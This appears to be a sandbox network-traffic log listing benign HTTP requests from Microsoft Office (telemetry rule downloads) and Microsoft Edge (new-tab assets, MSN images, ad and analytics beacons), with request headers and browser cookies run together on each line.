Source: global traffic	HTTP traffic detected: GET /neg/0?action=impression&rlink=https%3A%2F%2Fwww.bing.com%2Faclick%3Fld%3De8aEfdRlI2x0ohFQi3uztY3DVUCUxuMmdQk9f7Z6MnSfdQQwOL-imjb7BNojP1VypjR51G32IzTV3Wn6Uqz0OHQUX41f5A1eaiPkKJ16UofqneoVj-yr2F1UpIZi-SOhu5qtcxdCjCkr4y9tjvOgAHjsCUnE0KVSMdkOkKpWCxYZmivez6%26u%3DbWljcm9zb2Z0LWVkZ2UlM2FodHRwcyUzYSUyZiUyZnd3dy5taWNyb3NvZnQuY29tJTJmZWRnZSUyZndpbmRvd3MtZWRnZSUzZmZvY3VzJTNkY29udmVuaW5jZSUyNnNvdXJjZSUzZGlwJTI2ZXMlM2QwJTI2Zm9ybSUzZE01MDBFNyUyNk9DSUQlM2RNNTAwRTc%26rlid%3D163990842d431198be7df7ccb46cb018&TIME=20241128T162424Z&CID=531538185&EID=&tids=15000&adUnitId=11730597&localId=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&deviceId=6966555320912735&anid=DA18C8825356BAC4E7B23066FFFFFFFF HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: g.bing.comConnection: Keep-AliveCookie: MUID=2A3EEF8B4A5A68401A7CFACE4BD069C6; _EDGE_S=SID=0A96707C6C8768EF23E865396D8E690D; MR=0
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: ShorelineSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /b?rn=1732811086500&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=1066DAF9585D62E900DBCFBC59D76315&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: EntityExtractionDomainsConfigSec-Mesh-Client-Edge-Version: 117.0.2045.55Sec-Mesh-Client-Edge-Channel: stableSec-Mesh-Client-OS: WindowsSec-Mesh-Client-OS-Version: 10.0.19045Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-WebView: 0Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=1066DAF9585D62E900DBCFBC59D76315&ACHANNEL=4&ABUILD=117.0.5938.150&clr=esdk&edgeid=5518710994624701133&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=d1c55ccc791b42c5e8940cef405dda38 HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=1066DAF9585D62E900DBCFBC59D76315; _EDGE_S=F=1&SID=31FAC44C433767CB3D7FD10942AB66BB; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /b2?rn=1732811086500&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=1066DAF9585D62E900DBCFBC59D76315&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: UID=12A156e59c91d378cad2d461732811087; XID=12A156e59c91d378cad2d461732811087
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1732811086499&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=f5a2df3829bf4c42a594bcf88806289c&activityId=f5a2df3829bf4c42a594bcf88806289c&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=3B8196D966C04A3AA846975A0C82F7DA&MUID=1066DAF9585D62E900DBCFBC59D76315 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=1066DAF9585D62E900DBCFBC59D76315; _EDGE_S=F=1&SID=31FAC44C433767CB3D7FD10942AB66BB; _EDGE_V=1; SM=T
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1u24yb.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=1066DAF9585D62E900DBCFBC59D76315&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.150&clr=esdk&edgeid=5518710994624701133&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=6cd1dd1442474f7fcb6736901db29094 HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=1066DAF9585D62E900DBCFBC59D76315; _EDGE_S=F=1&SID=31FAC44C433767CB3D7FD10942AB66BB; _EDGE_V=1; _C_ETH=1; msnup=
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msyO4.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msOZa.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msyO5.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
